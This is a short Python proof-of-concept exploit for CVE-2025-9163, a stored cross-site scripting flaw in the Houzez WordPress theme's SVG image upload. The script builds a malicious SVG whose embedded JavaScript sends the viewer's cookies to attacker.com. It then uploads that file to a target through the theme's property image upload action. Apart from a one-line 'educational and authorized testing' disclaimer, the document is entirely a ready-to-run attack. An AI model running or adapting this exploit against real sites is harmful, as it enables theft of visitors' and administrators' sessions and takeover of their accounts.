CVE-2025-9163

#!/usr/bin/env python3 """ CVE-2025-9163 PoC - Houzez Theme SVG Upload XSS Note: This is for educational and authorized testing purposes only. """ import requests import sys # Malicious SVG payload with XSS svg_payload = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert('XSS - CVE-2025-9163'); document.location='https://attacker.com/steal?cookie='+document.cookie; </script> <rect width="100" height="100" fill="red"/> </svg>''' def exploit(target_url, upload_endpoint): """ Exploit function to upload malicious SVG file """ print(f"[*] Target: {target_url}") print(f"[*] Upload endpoint: {upload_endpoint}") # Prepare the malicious SVG file files = { 'file': ('malicious.svg', svg_payload, 'image/svg+xml') } # Data fields typically used by Houzez theme data = { 'prop_id': '1', 'action': 'houzez_property_img_upload' } try: print("[*] Uploading malicious SVG file...") response = requests.post(upload_endpoint, files=files, data=data, timeout=30) if response.status_code == 200: print("[+] Upload successful!") print(f"[+] Response: {response.text}") print("[*] The XSS payload will execute when the SVG is accessed.") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-9163.py <target_url> <upload_endpoint>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])

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